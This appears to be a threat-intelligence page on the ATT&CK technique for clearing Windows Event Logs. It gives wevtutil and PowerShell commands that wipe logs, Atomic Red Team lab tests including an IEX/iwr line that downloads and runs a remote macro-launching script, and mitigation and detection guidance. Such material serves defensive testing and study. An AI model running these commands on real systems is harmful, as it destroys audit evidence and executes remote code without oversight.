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ATT&CK Technique

Clear Windows Event Logs

T1685.005 · defense-impairment

Adversaries may clear Windows Event Logs to hide the activity of an intrusion. Windows Event Logs are a record of a computer's alerts and notifications. There are three system-defined sources of events: System, Application, and Security, with five event types: Error, Warning, Information, Success Audit, and Failure Audit.

With administrator privileges, the event logs can be cleared with the following utility commands: wevtutil cl system wevtutil cl application * wevtutil cl security These logs may also be cleared through other mechanisms, such as the event viewer GUI or PowerShell. For example, adversaries may use the PowerShell command Remove-EventLog -LogName Security to delete the Security EventLog and after reboot, disable future logging. Note: events may still be generated and logged in the .evtx file between the time the command is run and the reboot.

Adversaries may also attempt to clear logs by directly deleting the stored log files within C:\Windows\System32\winevt\logs\.

Windows
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Actors Using This

1
chinaVolt Typhoon
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Atomic Tests

3
Executable Atomic Red Team test cases for exercising this technique in a lab. Copy a command, run it on the listed platform, confirm your detections fire.
command_promptelevatedwindowsClear Logs
Upon execution this test will clear Windows Event Logs. Open the System.evtx logs at C:\Windows\System32\winevt\Logs and verify that it is now empty. 
wevtutil cl #{log_name}
powershellelevatedwindowsDelete System Logs Using Clear-EventLog
Clear event logs using built-in PowerShell commands. Upon successful execution, you should see the list of deleted event logs Upon execution, open the Security.evtx logs at C:\Windows\System32\winevt\Logs and verify that it is now empty or has very few logs in it. 
$logs = Get-EventLog -List | ForEach-Object {$_.Log}
$logs | ForEach-Object {Clear-EventLog -LogName $_ }
Get-EventLog -list
powershellelevatedwindowsClear Event Logs via VBA
This module utilizes WMI via VBA to clear the Security and Backup eventlogs from the system. Elevation is required for this module to execute properly, otherwise WINWORD will throw an "Access Denied" error 
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing)
Invoke-Maldoc -macroFile "PathToAtomicsFolder\T1685.005\src\T1685.005-macrocode.txt" -officeProduct "Word" -sub "ClearLogs"
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Mitigations

3
MITRE ATT&CK mitigations - vendor-agnostic guidance for reducing exposure to this technique.
M1022Restrict File and Directory Permissions

Restricting file and directory permissions involves setting access controls at the file system level to limit which users, groups, or processes can read, write, or execute files. By configuring permissions appropriately, organizations can reduce the attack surface for adversaries seeking to access sensitive data, plant malicious code, or tamper with system files.

Enforce Least Privilege Permissions
  • Remove unnecessary write permissions on sensitive files and directories.
  • Use file ownership and groups to control access for specific roles. Example (Windows): Right-click the shared folder.
  • Properties.
  • Security tab.
  • Adjust permissions for NTFS ACLs.
Harden File Shares
  • Disable anonymous access to shared folders.
  • Enforce NTFS permissions for shared folders on Windows. Example: Set permissions to restrict write access to critical files, such as system executables (e.g., /bin or /sbin on Linux). Use tools like chown and chmod to assign file ownership and limit access. On Linux, apply: chmod 750 /etc/sensitive.conf `chown root:admin /etc/sensitive.
conf` File Integrity Monitoring (FIM)
  • Use tools like Tripwire, Wazuh, or OSSEC to monitor changes to critical file permissions.
Audit File System Access
  • Enable auditing to track permission changes or unauthorized access attempts.
  • Use auditd (Linux) or Event Viewer (Windows) to log activities.
Restrict Startup Directories
  • Configure permissions to prevent unauthorized writes to directories like C:\ProgramData\Microsoft\Windows\Start Menu. Example: Restrict write access to critical directories like /etc/, /usr/local/, and Windows directories such as C:\Windows\System32.
  • On Windows, use icacls to modify permissions: icacls "C:\Windows\System32" /inheritance:r /grant:r SYSTEM:(OI)(CI)F.
  • On Linux, monitor permissions using tools like lsattr or auditd.
M1029Remote Data Storage

Remote Data Storage focuses on moving critical data, such as security logs and sensitive files, to secure, off-host locations to minimize unauthorized access, tampering, or destruction by adversaries. By leveraging remote storage solutions, organizations enhance the protection of forensic evidence, sensitive information, and monitoring data.

Centralized Log Management
  • Configure endpoints to forward security logs to a centralized log collector or SIEM.
  • Use tools like Splunk Graylog, or Security Onion to aggregate and store logs.
  • Example command (Linux): sudo auditd | tee /var/log/audit/audit.log | nc <remote-log-server> 514 Remote File Storage Solutions:.
  • Utilize cloud storage solutions like AWS S3, Google Cloud Storage, or Azure Blob Storage for sensitive data.
  • Ensure proper encryption at rest and access control policies (IAM roles, ACLs).
Intrusion Detection Log Forwarding
  • Forward logs from IDS/IPS systems (e.g., Zeek/Suricata) to a remote security information system.
Example for Suricata log forwarding: `outputs
  • type: syslog protocol: tls address: <remote-syslog-server>` Immutable Backup Configurations:.
  • Enable immutable storage settings for backups to prevent adversaries from modifying or deleting data.
  • Example: AWS S3 Object Lock.
Data Encryption
  • Ensure encryption for sensitive data using AES-256 at rest and TLS 1.2+ for data in transit. Tools: OpenSSL, BitLocker, LUKS for Linux.
M1041Encrypt Sensitive Information

Protect sensitive information at rest, in transit, and during processing by using strong encryption algorithms. Encryption ensures the confidentiality and integrity of data, preventing unauthorized access or tampering.

Encrypt Data at Rest
  • Use Case: Use full-disk encryption or file-level encryption to secure sensitive data stored on devices.
  • Implementation: Implement BitLocker for Windows systems or FileVault for macOS devices to encrypt hard drives.
Encrypt Data in Transit
  • Use Case: Use secure communication protocols (e.g., TLS, HTTPS) to encrypt sensitive data as it travels over networks.
  • Implementation: Enable HTTPS for all web applications and configure mail servers to enforce STARTTLS for email encryption.
Encrypt Backups
  • Use Case: Ensure that backup data is encrypted both during storage and transfer to prevent unauthorized access.
  • Implementation: Encrypt cloud backups using AES-256 before uploading them to Amazon S3 or Google Cloud.
Encrypt Application Secrets
  • Use Case: Store sensitive credentials, API keys, and configuration files in encrypted vaults.
  • Implementation: Use HashiCorp Vault or AWS Secrets Manager to manage and encrypt secrets.
Database Encryption
  • Use Case: Enable Transparent Data Encryption (TDE) or column-level encryption in database management systems.
  • Implementation: Use MySQL’s built-in encryption features to encrypt sensitive database fields such as social security numbers.
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Detection Coverage

1/6 layers
Coverage across standard detection surfaces. Rows marked none have no rule of that type mapped. Some are real blind spots worth closing; others are simply not applicable to this technique (e.g. YARA matches malware files, not network behaviour).
Behavioral / log (Sigma) 6
Analytics (MITRE CAR) none
Runtime / container (Falco) none
File / malware (YARA) none
Network (Suricata/Snort) none
Vuln scan (Nuclei) none
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